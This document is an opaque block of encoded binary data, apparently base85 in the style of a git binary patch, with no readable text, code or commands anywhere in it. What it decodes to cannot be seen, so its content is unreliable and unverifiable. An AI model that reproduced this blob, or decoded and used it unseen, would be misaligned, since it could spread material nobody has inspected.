z_PgR%{N5$ULv&5B69rn)agljX*yPk;But;az|{sAQx5CJtKVh)eQWDnrAe@A7%_3$ zvB!e}S3&-@5$grHE1YzwD>O#lVWp_)qQuW}lR1>jJ#ymqi{{#a+Xk~9>w(h&zdQP6 zn#<0J`hv$82E`QEx=5l#epbg#zDDS|v~poAn&Cnk`Kb?9-R!*`*Ol<d8*GXdEJ{M> z_UJ3<58|K>V_HBYiIU3uz^QkBv&01Jx+>hmoMVf8<0s}oip_O)USR6-!QO6dfvw9{ znGiD^nIS|Z1P8mRHyN9pHM5nQT8?8Lq2HKsQ=NY%mR7yDk#s`;_M?%F8!if<69*&K z+;FtSGIPjU7&Uf=^`1$ekEfX=ne`D~4PHL=Po5@^bbnX9a_y;jR>Oz&pN)w!)+i&L zkib<5M1AdW-kQVWL8}V%F>E3rdRV~_=G+_9wRp43r;mB8q6@Xcs)Uk?aV8SjoLuj@ zv3(!SbxTo3HwZHGmbHt3BaQZ_XoB_hp3;Ug(IP)$(8<-D7}bQr+1k4anaeMoD=xY2 zYccF}%+=?B!9vN88C~&q2h!8oay>~#fi@X-{>$fK{tCFqjRcSRsflUmO3-DHED84N zc?dzGge93i16!$YL8me<EfvSwDeUlp@fbEE^&fBaFEA9|-m7_XK|mig-4fovQm+_k zm7ryUkiuD~DtR_B9dL!-*=_rkuj(wd(YK*e%=U9Dm(eQ5jT7TgAp6zZ7ds5`d6O;3 zHx&>s;EN!e;%MnH&S4@u#lXcb?TI3ivHII#MSTkXmZsD^lVEL9oupXJx|(FU9f1%E zCqiXJgaT+%nIefgjZ3(tU4CY7s-3+-Bcz@+jM^RreKu{HiR10<x|IENGTIF{YakGZ zI><+#g-JaXa&lwVVh|%{>|xu*P!5N(d%Hp=8uj!ND8p3YVqUnsroY_xe!`A~E#C!c zf#S45emlT!L`3opn;XwTTJyaxlYp>`6WHRA!)|R@OulXAa}1w!eje>A@Q1G`f)DQ? zYT0bl&10mVzVPBJp><XtzXzkRVvWBp7vUL0L2VGoi<T-K_9NrgLdMGhq+AGppA{<o znb`6D>;s+q{UWhHRP2gEi<)@%Hk0g=(=SIb{7Xe{O2|4&xI+_vt-{zK8Q)h<mb#8Q z`}R*K+3y~v^wxMvJQa4v6flmmjAE7$NSj--PF;>6d#DsBssa05qZ>@Bjt8mkmHNly zoEry^-odhO*Ld5aHi!0Xpb%AuI->&@8XD(wdDbC^_^l0e7|Dc>8!GV9>QoW^SkZFj z^8BKp`@(NrQq0tDZewar-G4jr6iRbFtxx?i6z%+QQgz60=&@%CFU|52kExsq7`CC% z))ppff^GSjx+?kQ3T2K6KC&Fso;AW4@!&^Q?G=oJ#FQ!V+mmB4@o{W~B#~WDkKuM5 zGJ^hz3o|m1hhmiI_5dh^i3K;c1-eshf1M9_GPUuB-Ue6<qCZHI<}$NWI+LFtxbU88 z^KsP(<zPInYfD(W8S?sDY^9I>IMG1TDUEyEdZRQ6PEXsWf*$gztxXgrnR1n2w=~I~ zs*1k*L6=@1Bt((~pg@kYXR)-t_vwBPE_?RbOnu}I)c@L9-wNY+onpbSzj>LQ*xz>g znOQ{ayt5%#D*WD6UIBY`aLU1`n$B9k-g4XWbkfb0dbN;Sz+T*-G)B-q`?BGrbuI}T zD!~*f*qDBMe6TG64owy8N2ItLUX>bVy^G?6JZssf{z$}kH*tXdq?SJBL;I@_7DFf7 zUb{bx-mtO29cEdT2?}&o&2i4dPK05mXH;vu?ZgFD%c6-?+C6SQD+OCp0C`(V^e~Fr z@QU=VKk9JmagYCj$m`haFIVX4%$nQbyUAq}XV=TjL#j_+*QYW?_l;-QN)1ugOg!H! ztC$#a(sgZO#<1goh28M6?;YBBPuFuVg`*h-xJ$jl#0}7$xA%P-HY(bF0(~i!u~Pp6 z(0jHh&1PCMg>WuDUZGXNtxRkOluNc6;K<?5JUkl7*;Wt&PzsHo8Ynej@*!!8^vDS+ z>DSR&>bmRa4K|O^rW0s1m!zjLP2q{hPJ_|f{oomq6M{|t0B1+RD!$dJvr<8#KE2IY z^_ECdeEQ|DgV6j-iCyl9ILjDfkY#p5XDWa01nw15_m``|KV(Lxp(_5~daM#@(aZ|R zuK;jMmdhp)Q+)@soX0T{MQwf5vT5_|m-v2FfQi4{X8!?T_q<1qsz|V!5MYw-zDOz@ z3E7%8og@BM7qoafqctSBkZly|ED$!u?q(vHpN)1`tBDX*ls|p*W}YJrybuLsXF3t* zn;<$U<+~Vl59sM30$fT!7a!*oq|Eek!)X6whlBsf_27TL4{qvT+E?^GLq1mu0<wQI zzN%hu=lw*GaFzb^+dukOpQn9xb2NRH=wJw0a^)AY6nRjLRgK=NRchd>?bmD2$|@g+ zZQC1VQ52Gk6Mz{7!mMA&$ul(=Y{Qw}w0NiO(7iCdH1+X;rGHILte7SOpi={|m6UgT zK~}vaNsP4|Db|wl5nRvt+|tqzJN+@pD~;=+1y~p1xuizeGpO(-lftc?xd`kJ45RI5 zlaFvYk)q%tG%h?jD1^%?V?KU7Q)%^C6r;HaP5eCG`dUN1%2wWZ2e~*8emfSZ&pfuL z>qm{syL-VZl(Ge4WZGVLEo@2HludYJuD*6KN^Nh8%%2o(qdnMiDOqd1-_i*BJTuyD z<$@}}oRaGtlW*nX8(GVq$R8yA;69(?sp48=#RgO~+EA~rjkeD;P8wcS5O#H|h+4(O za+hhcIc_?FjTh;<d6rG|#%XA1N}U89KUMH<f-O$WV?C3NAf-8~?*{=)n!Y?#H0+jS zB)W93;DfpI^D|R_e)~IXqFzd)?C%mp4^uSp>nU3uQcCmI=S=4x=ERta{86?-13pJ- ze5=E!h_5FBuukb*4j+1dUaXIPv$Cc?V(EVMJ8lDnL+)ykfJtq1FuvAK;@eCS<vyeF z+G+DVWcKHp?-=Xt^5LUjd({5n)T8|HYT;7<SuGEtqW9IVNjgNZCTyoC@fUQt&$Q%7 zUEjPuYE-Hz7O#?0p_Sw(5IgZ99*i-BTu6Jwch+IVq-Hv+C&$)pMbOgdq&1&%J4AFX zB!<t01hpMOw%ApH9q&$-rQ%i>VoEm7I-P^WjLA|pLp+m*JBXPqRenQn+F%Ths!OA` zjmPs>{a}^Cxj%=TC`Qsw#86aYuQARtrn4Ug!RqQHcPdK}*jiZ^A<!YPRbp!7O~HK2 z&zHvc*a^=I8%&$SBiCHSfrJ#s2x0v#mu4+^4GGs36%`S;$M)3m3e71b?C)#V*}SJ3 zxNy!0ar$@ON+>vOKV5E@oLF1yfk2>S>-<m-XsEW>QTZf|!rCCNH0A<gMp42rht~Sv z+8@^M;Hn=d>MO1SPmNkt6zyhiE{*qJ486?|V>}Bc?d27O5;%lW1S9shUtisBb=P#n ztw_IN*Vpo53MoD{@)9zr;w+IKod-3LN~!ywon2OZfj_dK2qR2p3)yqM8rSrf|78mp z5_A~c!|2R&S?bqEUx`M6<!@Yz8VVK^Pkdjsz7%Km)dwQLijC~uG&HGI%>MNylDXVE z6rI%|<hMK6gSeF{R6$f0zyp4QnO45folSV-Y8L}>Rz}aVcKhKQO~&@88@q0Vhj-4` z$C>xr8O5%UDP?Qb35Fvle$Lu7W4Hza@3*_QKCWx_JS6G^xVn*CT~#Roc3ZMCk>jyz zy3o}z=cW?7_n+>8*yUPsqZ&vAh%7ekUN!KpZ0l$i>WgY~6_wkGZb(NQlIquKo?$MO zVg=RS=fsjIm5E_u?3MLkj|n2j5tH;>y6?#&t!j=Gd1v4E0s!_7al8}eBU>s!CDuhJ zLmy(^C-3`+0v*6e{m@=%Mp<w6p6GF$`-jhnCl2SErwq&bTK(oh>*os5@+MN`Kxq<; z7R0lct=)s{XS0rrfrOirCi^j4VEjqT+p*|BZr?(oEyh`p<YSPk%DzjpK8(4I9myT^ zz39p8(45?=Gw9`_FZAQpt>4hv%gjL+P3%gpE7yvk1e1nR*OhTw+!g<~fxY}%WK4%T zx2fb+d_mViB*&l1S1^BYWM_k+Eeuxc?-eH3h5obhUL3#(Rv^<m(j|obm!)0fl4r_* zUU>ZG<l~k8BnNTakB9joG9L!V$0BP21!^WY#W7nd<HD>PnW^}tr*~$In#nDj+cNj{ z`8>iS({`<ML@Du94b`OH^11IWC_Gc#VpuwX8BhN-UTKe*+Yr~g)&(iF#~Q+&<S{q< zX1gC0<%S>I6;8{l&1}y9@yK9vN%)vaMdX?WF3O`l=_?k>tu?(+Pxw41dHjQ50nK1b z$B3slVbsL7-x@Lf!01s!N`k2g2j+9oMp(8L4xAgfPu!Ux=z`g_LA!>pSZB{p4;BS4 z2bhYsmTrju0yIh#Z!CSgM4{n=gdYr|Qfk)5HIEs_lwk~ICNJk^bPuNWKAKJz`FQck z(Ccf5%jBBBEX)7!n`6hwPQSwTqC>nWCD#9VtvSzJ!+}$_Dnq6+VtbTLN4FU}GPtvP z!TL){#<J;V?k!iUD!#)J+u#*`SK4Hf9U;bExeqfbOF*UDgjv&%(^-X?)AAd%W7_&9 zp$VkbH|(_G7Dym>wixG<rw&zPykANpXAVu?n00N=4qo073%^7(r7NL1UYD{h^Px^g zZoq)}7|Vsf&*|2v({mdLME%bOM;)8#E{hvUpdtV|2_Sj0(?!BP8}K>4V9mamNa$K> zl;wRQJz1>T3ub0cX(kgoKL?TClVtAyFGVI{$mPXrpP`eeHd!|)anq~xk@&6;6Bs_W zf=upmC!6`4DP_`jG0?DHYD0E(Xc#BGpE>f@jeU%ai{I46#9BTAZm9*ia}D?W#YfMd zRd|b7x_+;|cJ2o46DS4p<$@2gMpefaGpv-vWcxPVz=f!6MLh*Gwx}Q-3+T%}eDzh- zl60w#wHtvtIURs30N^RBS4J-W51o|$XH4;*;gSFSSYzpbU=11WAN6iq77^Si6}ET0 zL01+jy05Pb8c1rjGKykx4iWQ_3euo8)IZ_INDcL|Aw=K!e~L%2mHGqtU6Er1vA)jc z`gS(4-H>A*x|jcwb%C7xs_e#bqtf^mP&2QIN)X-J9o24cMPG$xahDp}mAN9BK0;EC zG+st5VEUCef<>&)>bc(>ft05r_4Cr(1$F!tuQpLIdD43sV1di~YkmUbsWMjKNE7Hi zvq(dIb3@q3bLeU3@bDc@v!<PYXiHSLdq(rf?(Q|{k0O5^v+~7RN|^%sVhn%1Y&Bx0 z^!zNvNvxW0ti8}NJm2L=e&@wPbjgSp^<Lc9yM^4Dy(Sjscfi2S%P}%ZtX+EbFht{x zdwuD-N_=pdn?03g%Ey*OV8R>Q+K((+1o3_FEYiO%7ll5|RNj1<Gi!3NEg%fcl!#pB zm2~Yxv~M@41{xS=S6F?9Pw0#{x5SZx#C-|nh!2!WhrhySP!RCfjlvY+=_VvhT%V*@ zMz`TN;tap5Yfopg^)~W`xIu~{;{DYBO;`Hgb*%q4K8Egtul>^2)4G?nLeX^n=P9K9 zICz=FBhRn}S{t#O+1tMJibMVw=?Xig-s-<j!>S)q|FHYXGJ9K)?3-;8zv9axyhZsJ zpm@=*>jEYOJjM0t6^D&at3vSEg5l&9x)X1zU;Ar&U_OTv<<rJP%z09ogQ5-z?l4D- zQ|gwmSK{WJp0tziG^{1BpHSm)T{yi*J+uO0HI0jyzW{UK?u~opzW}#k|NIcV3d0gD ztHj*>-Xr>Ch0FeKU%Pa2@hR~Mhew}qNM+6}Q>Ei@PW_yTMXu{vL{vF~0ozYPWXs+6 za>{9)X+HYdmErpT?)`DK@3T(1QgQzR7(-u5_h3l+s=9nVi+gPd(x9PmX+1y3XF5Nb zg3FZ}5s9lnIvqRj`~8h_0N_->->M@}&Jp^G^}x~s{znX@o`J$QA1=6Gal2k}Qwr`& z8eC>~8f(U;uvVC&)2>!>fK2j2W<U~5zW3^j1AOejE3fh&L7!66dp9}2eQY=^o9>k! z?lTD=Vx29RG+^$G!LNCGZ(s-~=`TRN5^UHX){A6225i&>^IrgqGWu;V(!7@V({E*v z(kq+5xdh`ty0?2hf?Nk2Tib%P6(4qWgyvy%rw1IjPV+m@j<)M4yQuU(CATWC>I4!B z_tHK`oSQb!v_4M~<o}FRtf!JGQ;rS#_n-xkCFH{%)F67yR2@CvgiPKc!ni<p_9mQE zDIcVz({890C!P7}tvlBuAjYldZ~!xXrcKm=|38mPg>a~2PHANd>95S|EH)n4mjhy= z+VhBDA=3zidH#nRiEPqiIeHkj@&57kD{N47&|ve&7_Y6?iBqiWk3+__Ar-eJELUPK z*n5@pWP0pV4782fohc>!)KPhsj>BwYh(~);oftZQr)mHF=$xyctwU&f^2&OCff=;< zAd%bD!F<7+h0iz3aFyY^peHap)ibQ8`_KR5DVn*y^e>%Luil$~0lNI7o0egt6jsUa zF4V$4|Nk%e?}7aPY?Nr#Z|9fjR(mzm0YIWpMY;dwLGu6F+|>~3W=r7hA>7<<#UlL| zZJL=>_VPg6_m$Aq0{K(Pt!AMVZ>;A1+%ysWT3MvbyyBJmW{sp%`)^wwf!9R-@h_Wf z^hRM_mO@)bQ7QQ=hb-;RuV8_4GA*-&{5Z*OA~PeIO)RV7i@P5=Gxf);&ghE^M_Zs% z903c>OeM`zm4Jvq(&K{MtcHx#P8cQU2pGq6%H1QbAP4`&zlZ6>#H=lqqwnimmaWFU z7OF}<wJ9vuucY+ybp!?zUXV(>&S|Q_z|cLssCgcqVWss}ZMuVy5{_99m~rD@0G3*w z3GSXdchwJCjd5#c(t1!uIOu!H)m;*k+H_+Wm)B28Ve>`){A*CJ*7rHhB{@s0-=|O8 zNAK7pyFLL(Fjh0$9afbTj@6jGyDt6$?Dq~)`)q;B+S*3mE=}M*I;wZ74PFt&hVnvT zWKu$sfJvUhzO4>zDvaf3879Umxqke*wGlQt!du*HEm;=^%ylfXo5g9_WA=u?QJ9I) zHgOMu2A1vYnpn^kS`KeC%~+h7GQ9sARqG>Lh3u&hon*hxIG#oz=Tw1a7C7%l+ywhr zkb&`(o94NGLjviG5)wH5sz2TI`f67PqWkQ$kHpS;Z?6`(%-FTd3v%M^s6$llh-r9r zyc-1EG15Ve6U7;$s%LW$;()`X&8H}^eAvW%+7UnQN&T1yvRRO9BLj=)Q;Qk7uQSgx z-G2DL@ik*?JnKIHT_sq1*|9g6|B-JnfTKvoL-@qi$k3JQJ>lKKq#&+a@SSV7Am7}g zFplG~K8DrZd#e==?TNIte061=(mKLjrwCle<~Tferzu=&C%a`>0<V9?KT1Ev$xNcB zZPnV2R&K#EV$25opfk<d+CDCQFMfcj*`oAAAnK;PliAW~O<XKwg;WjFUM5Xc6VlJx zCPOhPjWmTo)J;~7SO41HH7*5`Fqqi3_}+k2+uYQgVC0(J+7*gt5N65RAkEy4qs8|I z!F~6JV@#M}W!;K(B^>QOH_@#kw>9>i1h59O>Wj=gO&HLGOzJQIaO6;bld(PK@g&2X zU)@z#4RUZIUF)R`(+sBelQe2KIJK<^m<<SX5n}PF#bQ=yuI(V;vRGI=YKveWuL&jt zRlnX7@gljAReW0WJ^EeFZ}T3ibJS%lE8E~#=;2zGqB5LlGP$e6^&DBrrb<gELK9J^ zc*y|cx%!}wFyyWfn``EVKwMI#B1Mcg?MIO*MUFHNe()3jQ6t8XI4{pnl|^eKqB5#N znqk@$nG{v0gTcshDM+?oq~(q*_piOK6dDKX0`Zb@<#%au687*V4gpV%n>7ej`y3~z z`o=}MHNsoek_*7<;BRv@QAEl_XSrWk`%iLw4ZFq%iM$O8B;5o^B(}QV=^U+KEadqV zO<4WXSsmCbMK;siH6>Of8sX8wUi0hjAyS{&h7GcymsxyM<X{J8%J3*!6A7gfciBt) z{N!KF+J=r3!I~an&!@rcwUc%%hktd-n3s4&$Vp@z`0+uyDP1zZCdL3DN`dLtLkMVd z{19&LAz}OI63NLwVfVd~Bd8|i$j3z3Vo8%`8GTJzk~jcvO0Jy$fVfpEw4xzAA&Q@W zm@1W>Gk>-eu{GiyTHyi^Q+2BsMsefYgn1W9*el)-nszNPRyw8?dRR+*FV77a+i?6Q zONqc{@Q$08vEF*fGYpjVLBfVZr5=Ym?C{RTg|*iEmBw#J{Tod7-QqVW+TAmxL=WTO zYdi;=dytyqO;$xPs-rEoR(I8>&VA`!F%<{)DyuX4=|t4QXR{)bWvhXr308e9EN-hU z?kw&!PA%Qg*VUgqzsz8MNt2gc7)>M=$LjDC)A*&!<n&X6z4$&3Olp5N@&k-0)@O_o zUSoOSIxNf=;hBfrDAVUy{AY@&Pq1NjUD9Woy7fu*SJhcXZkUD|lg#A4>hBi83nZo_ zVui<RzEXO6=|uuHH>0@TtKNN1Ep!4y1VSjk&UZ6HAj_aV$}T3m-eP~5ha1B?%T(Vc z8R|eAt#`dMlG3K#_Q#{uV{`#gSX5NAcEt4>l-aKP^rs(J4%F+i6kKM#*Jq_mKPKQZ zCr|sHbi?-r0b(TCl~?aO6>8qdaqW+u=xS4eHcHP}<=6@@_u4Q6n`tPbq`q}(z~*i* zVU~t<S6{vt4u&{^mpVZnWg*ET9XPxzEUTHL*_mFp{4gxut7Wjr?L0kXI}6e+$k7cr zFe6%Rp`v417CzzDQFcdA=Ps@^S{%flFf5Y63%t!?xV6)rw5Al@mD~w3VS7JG{5BA} zC+G?juoDWt%xJG4-n~nyf>ao^swtsIz8?uBvVUr%1fD`;+)m|+JP=?a$>MTra6f%6 z#ATKfE%{@}gq<BEbgzeSQY*anZ1a5sHw!`$6>r(L$KWMO_0{QfKp8P96y%b0D=aMN zeS5}dOj<XAs^e^~A>kmi1ICZsiyM9Xj4rvouAzCmCRUD@|BaVYa?d82wrBWFIdj+v zu)Vb*ia#iI{gPqy2RT2><le}hBr(lPP&ZG(i?_c!alJZI=r;8tSG&7ej*Sh27}z6p z9^E15>@B~wKtMxplOPX|=POlhqve-v&3?A8b@&L_<(BO&2WO}B=hv8@-63R>9e9&N zJ7_kvor^^q%ksb`g*qJuZ$qtBDdOkKKFCSH<W~Kz<D@?rdzGoY@s}KM#W9FR;U^LK zm=-`Mh8GhV=#aVk>yI3a3AB*+bw2@b$a0<kT0pRHW5d$L+p&?>!($g^RJ-42FVF1T z36Bx{*>~FE;Q`3e<F5ACWjIR*H^!6BZ`dG2hSQp?GB#h9qBzU?+3Luz^f=78TC${R zA(eo(_RI-5wXN-I?)Os)Yg|Hkek+Vv1BolU7gD5wH>GPJugV441QD9(J;Y)Spt1YQ zCf{Z3*Oeu*G+1v8)BnGitYZFas|EDR4^!L2xL;35x<0=P%isQcGWkDX{PaJaKz;d6 z31nY~sy+1iC)XTc_2|=~6ndEmlRs+_cLRzx=#Y!Vq8zWfSK-L%>*uPL1OBeHDV~j} zJf2e}a$KEUy(1jUFb;lw0nVl7m)|UB=-(tnR=%<zveE?jqW0t5w>}P{swhs!@!x=T zV?<r{sq(Mfz}G)@SibKXld{OWTAh^DpC8=+1^Biy1M^>lR>=DZk3TsLXA!g3VFO){ zr&cFjkF}b}u>CiWW{7>0G@3%)kb1u$K&4}IDUpS_xZ<IdVSi{ib}qdOlh~;DL#@%( z7pFCKM@S#yzsH>{8Ix(Q3%jPQ)e-Svgo*BuDr=oCK*jvFTiY`S*I?G3mTdhdBZhk! zHL>qW{6PZNg0PF>Ypd`Te%a#<jNt=H>b-N=;O{JWySxUQ7<)o%B|gSsXsdMh9OhX+ z8Z!jAVo#0R=q*H=_3Z>MA8~UpV;j3<9C&uP4rMH+pZ;ba(0Vo$&?65}c_Pb#V;e*2 z(?2p=Unhth#lyj+4mIWX7LCDlzQC|-_u$v&JWY&=*Xk=2E!7cd(gQIlBlD=CK+_Qg zOc0JfYb?KMeC-fcmSu+jI8`iDtYAvf(Ga&_Y-qsv!S;R)*w2m%-0_F^YiT|Ro%(SO znJ<{Tu{daF)5ZpJ6#}t)KL5lBgzg)+F{azIv^!vSZOf^BFq!$jc(SnA*tkd_$2^HP zLS#_$lQPNJ7i3Ej?>A^Qn6|yliS=GCKMnl(xdkXre(V2I0Z)SLVW0g2l9P}|`Ev(x zGx87kv9YUaoNN(R!A5cX3jhzY?EGY{j$Qa*whfB$se6Cwu{$Z+42)|rqd-E=Uh@_0 zD!z9HjjhQa5fA5qp_+^l4lAK~{nnI}bFm$o(yCFIeB_eH-oWNrrh~9q1=;%A27;vV z#W!40A2qQUog42cNj4KmFx^UP?>qN6X{R}wq4G_g{-dD8R?4xjRCMZs!4yQQB-KMo znLp!NmGl=yTr_MRkF=)$a9>OYc;K>1IRK+((R7878bf6ixg>~%=8%bay)|owC+Ts7 z;g4Xl5n{Z#ty+&rd{VXtxu$e)2?KQN4iSnrbIMxQ2&WQH>#E~aiRaKFLgi&g5Hxph z@Fr0(O_Np(6Acp$;6m~;oyJYZne?@8E=#kzsiC<p3Kd)Z+7a@}D6~^7jOyX%*=8Wg z?rdAb(`%CWy!OVz)N`oK{|dvc!#rCKoNJ}6Ij4(%1PZ0hL}VQUq@=X&?gg;+p*!zT zePTrDKdw6DZo)4!6`aVc|K8}5>k9PB`N@zYDT;`YfJkyVDDQs%x~^p!g(h-v5~Be5 z){UAUlYRAw(|m1s@S5tl9WEUF2qT94JgIE;PW3LxLU)zE_fYQWWV3{xZAbA^RaZZ; z;RFubqqUgvPs#{vs=2kJ)PWQbtZ2S3to%R>aU-|-DU;Rl%rn%bN6XMjp|yUWd`P!I zti27=?A<8Sb&CyXZYLZqRPwd%f0^~gl<>j2Z&SC1pY+m~wKPwY1uv1Ui(KjaL~F)H zfoF#(XX6hGh76##=|3Jn;#OuP-s$h^H(f;b9vyl)l!#LhfZZ>LtW+Gc%(zbAm~4yo z40x#!O%5nC2`)Ihf|$pDVQ`N{QK5g@_$F;`3M3ihl8N;Nm>?m?iSqQbx;|2FL0`1D z9E)Vlqc}ZC)y(}ehSfA;N|P_7*II1hhNmc~tD-g(8yj``W)(U*QXk4gn&y5a_WY1z z+F}utUSaVT5gi^P`qcD?#_7dzE?(n;&Z<sd26$^<zF4y%j<FV<^+Eb0HcPCm-^T<5 zggrX9k?k}Z--JIoCQXUIeEM6@hQq;lK`iE`Mq?jh0J_Zx!1SyB-4y0_7o?yB(v!yG zid(PivQ<P)YBrPvqTz1hG5DcuF<W<4u1<b0v6W@VCpn?pTkwvFL}xy*5&fg33#vbk z<aEFlJf<Yi2$gr%qFCkKYg<x77P4rCP`-J_+jS7=OHDi6yf%T0x`8~Yj9~)LFrs-T zMfHW&>~;-{Tp@G<T<ld{k(k_g!NQsxhB9A^xj^H<PV!_3cF@Z_S`_JQsRQctpndfd zu^x~-ZGYS$hiUb^ft`(WPV@!w<Ff<h;g)0sZydjP6BCWu(EHmxbyd*UuLVwfZ4~WV z9C_ovPS4YHJeeo$r%~07P6|!2%PtBJw2>`M3DUKDqcq79w@J1L>0Y*iCSp(7rP$m2 z7K6m@F{X%iGCwch$7@&5Rb_Vt(T@>(Nv;o^Mdb2g=ZC%H8Y~GS-UY^u`L3E1mQ)B) zEbHD!{%PQ%{&oeGEc32#+Lt7@b7f5s`@i=c7RD(g>w@6WplxIJ70#o#6Hgx_EpafB z%=F7&fKcb;L@Tj_#2%w@hvO(7g!Df0A3#`@G4097qYUS0h9!|yK*E8-lnzHL!03yj zE3p(^uz)>`M(A34tl3;6+rh-obA$HY%R>2h!pJw<V8<v>xLwDfQPLqQf%70Nr#kKw zLV<8%X5I|_^tF$~NN&?O&Lw-O%xODRzsmge8;-}v()*9dv-MACX@iMq)?~Uc(%dN< zeMpb3y>r&upMxqr-io4or0*xY!4or^&dm);e9m!+rC)GRg$xK`A|duRgxV+vi~HK! zX>CRYnJBa#>TK*jM^kZ<s}R3+C2v#y+U6kyjHwT|d|gn8ldETB*76;hq|3qh%ZyBB zy4SOD=1(Yi{q&Ll^*g6K_R?=`kcEc3>J?fDB)`RF)OvJ+szt}-&qlPTb9p3t_lTiK zk?u$_Xa7RuWPHsJ<`o*F{%^LfR1;~@kCuyJNnb8a7m8PGRyc-FlN4*>UP+TA#i;b@ z;evYnJ!gNVTf;I}gdJ$p?CY9M?%;()K~JeJLHmkvl*n!=AlL&CT=~mOf`;J5bMYZs z<HfD&9_d)&t^T3&f|8~C45;0iWodPUx+vL1v#wzWsXOx3?5SsnDj@2+_C4sN4~7fn z)@~Uk_n%(WxgR=R#ug*o);#{cG@lx)rS{T)scQhGjg5Gwx$edcrmRfLHmlRYm-(O` zAat0lyOt@{YhdIKn$|Tu=@k&Q?-Sm!kg30W$PZcdb+&zDE03`MUAy7M-KU%C(#Ah+ zfNf-7cf}0{`tXK+jJe*8X8&bZm@j1aq2)U(zeXW%9l?*$qY}@%p5Zy6)sfvD;on{6 z(7Ucpt!LKt()Ih%E41)B>pbd#f{GI^1=_Zyv#WB`w}ri|DX_~~_b%j69<~QtpV_oB zJ|dKoik5%CYyX7jLorS~&g!oLVZSnQ=ozBbn}nIN?EAs&P<*<9H5VRY{wt4<{AFk! zybRwrK@LRH`hZZ(>wOkAMHIA+fJ~~HcFb0%*A$OWxz`hxkVAGiy25Q|hA%^zDA#5? zSvQ$;ts3D~Hjr}lW9hJ!^|O62b*zoR(EEWdTWB>#R;wqMsDP=YRe9DsjPl2P0(EtL zi`v@MyOV{LxCu6t+r3YU&7qTfgJ@Chmm?LYFEHsl_lqW{JB+6hc#7O>Z^<{el75Ge z#SzN^`Cfl%WzNu@lpbVAb=d<avij`Mw|nu&y|AWI*3FthebG609OCq{Nf8Rvc^?tY z=+^VH@y*^C7L(dDI4`8z1QLy3;m-bqkce=a%snb}=$pP4`I9#Qdo*>sOXsS>NNqXg znaNM#ic!mmi<!C=t%P`Y9ItxLiNlCR>jv%0SEn!D*;TE~BU|*xW8mPf`Rz1ipSlq9 zs9!_4-d{3}%!FCasO#F$*;wAJn$_3q;_t|R_?eVc;v|$~OB0(LFsde`EET9cZg*uK z=YDsr^*Gq!?M=LKoazo5a&J_Y!<G$9q!1D2<54Ctfav&T!lA{7;d|3AoZirH6>CCA zO!4z<EUu`hCJ<yvcvSTn+``DdB^niBbnoD)LoQ#N^e+%{eHMPyxPH9CU?V1U3Q_vd z;|LwXH+Nk4t@&wc-TO?Wvb$y#m3M_T?6*z5pPNg*e4QJ(NQcPZdh)`^^)mhP?mE+5 zL(uy2&BA#<o24yN=I#_@Icub-_sq;7G5;3yC+v8H8B@uxl5zj>vV=|h5`FiML5b_- z;bF}MZ;&4z=G@u<#jRY2k$)c$I$#z5%B;m_gpcGXFl#?(%e)a6e$(uFAB0gl-f`@+ zsU`QOuPM+_3ISQrYCV1{>!gK4>d8FqC8e+-NT8w<;#rkdGW1xPeseq|h=dDMw;#V6 zKn-EGt?&K|4dnl$&0{eETJXW@oAwTCAqRS{v<`KQ8HDzWoJkkfm2nNm7&rv%q0Ohi zGudMO^+}T^pZZk}Zv#ydnGc@Dd61L%!JX#aKZ6YG0<Cq;s;x~w1`xT?oQI=OGSD+M zl``>u;E>4(v$@ZK%dC{a>c4cp8YOTBAa0`qVceZdCN}Jb<SmzUUltx@qLGi&x{ex8 zDeBhC4}VL;_1TNk`nXhH>KyB$8}!A!?+yE7-8@8g&R!24HsXg*M7PrDeQLfZI^6Ov zR~e6C>gluF3V3a-H}YTb3SL$?Wr$5}6$bdA<=-u0YxbM8GHljYe8B(yPUa!>SeZMN zlOODHldLT(SXg0c*zwUsLkp1@YH2U}a%>zQfqsy_mhqq=Wi#Rv(*XWkSM3k-K?X4| zuP-Wf)@PzJk(z~%ntgN=7<rEw(LBiuU_q$T$=5@jHJmxCzsWr5b10H3tYIoh1Y+U_ zG@ToXj|^|x9ZShweyR~FFuD^PIw5EcocEW&m8TZRPQujb#QgFF54yp7s&JVUdhRIz zOkMC0OuQZ3mUS=}9Iu7T#7Y$L!<<2kZZ^q$vu>{27QMdj1>=PO1xRs+Rc!E^7USe@ zpN?G%5{V8P17oB(YS<E-NAZz&6>UW*Fxe;M2!iIFEUJp;If;um6ZV@LGN$tamso%- zA_u_+2&@3Ibab<|`vA3uOFr$1TMsaD>gR2orO93=TOphJlB*r-{$fd;xV)@n?3A6S z3B6gx<Yg;i^G03xSK|-J=(?WmEC!ozkb*F0q$Xa@ki3L^5(e<bPuio>G%w~mYivzD z+S;5F$?Mjn;6$1fce5DpXesPhOH{7OEaLm{*%((+Xp|hhFs=hlAM}`+El9jJ)|jO9 z6sQ_84#FC|a5hwfp0#z>dPwuSZx?1x$t_~@;9}T0(!L(-^%!;o7CQaPtlTT(-A%)- zS23si1RCG305?9<t*dtN05Xc=Gx7r_;mTFOMbE+ysQl2W$LG+74Rmc+zdjwE)n4y0 z!Mq0~$@>BT3;)kQbotm(Qg$)wPks1&KNjO<fydNyECVfs2-txsJB~X+=*tIGenUFf zvG=!U`$jQPu`<DW_~}e;-WFp*C&Sp@hsz60Z;g@da!YUKIZkqH&eoMS&4#&!HWj(% zH_Qyx*V?<Uhkhnh7CpqlK!238qzxEHC9kcqYf*ppqGrxA)#GsCEbfRP>1udy9o(qg zzljbAE6oGgmhxxj$H&@iX3(w3a!a;+nz@yo!=Ru{xxUI2+J0`6vSAdYN9*G|2+8@y z(cg@}k}$9zbEj^B#t<akYiQzZ+}?OOj8?x(a#Io<aenH^D7n40+0quc8Abg;cfKqq z;TC@3yk!lhWu$R_8-X3iY5oFJ-*aF%!ZKj_pvAt}Wh-l^H+kNPgBt0Y$V%|T538$8 z*Kt~niS+U5wyY}h7rKQR@cpe(1#ANr-%r2A(>0Wv6Sp@?s5B?2#HSm;`3;y!Y<oHH z6BBFZ`O~*$h*lu2t*6-85NG=ptXE5q?jSku*dZexq$74-cAQowQiELejtCR^vupT6 z&dBWGw{R0pSAo`f3?eW#oUAo$2*fKPr_W;6LmEOa*OjO{vlH<Xw5%XhZgr44QJ67Y zs%}g|Q7zQqYkd5q6rKPX$(OiEaD}X5M{`3fxFB_FmSK=98c9to@a<3_+7t~ieY5ZH z<<Y~I7sOxo-<G%V-<B8n&*h;d^1YU?)AD)e+<LfXY8gi%*JPloA?8u{e4>^8yjG1w z@qP^x3<^DcarX{fya-C|Q+ueyYoLvDwxeNbH7JRWPQpan+=T!$n@bEXwt<Nbx>nkO 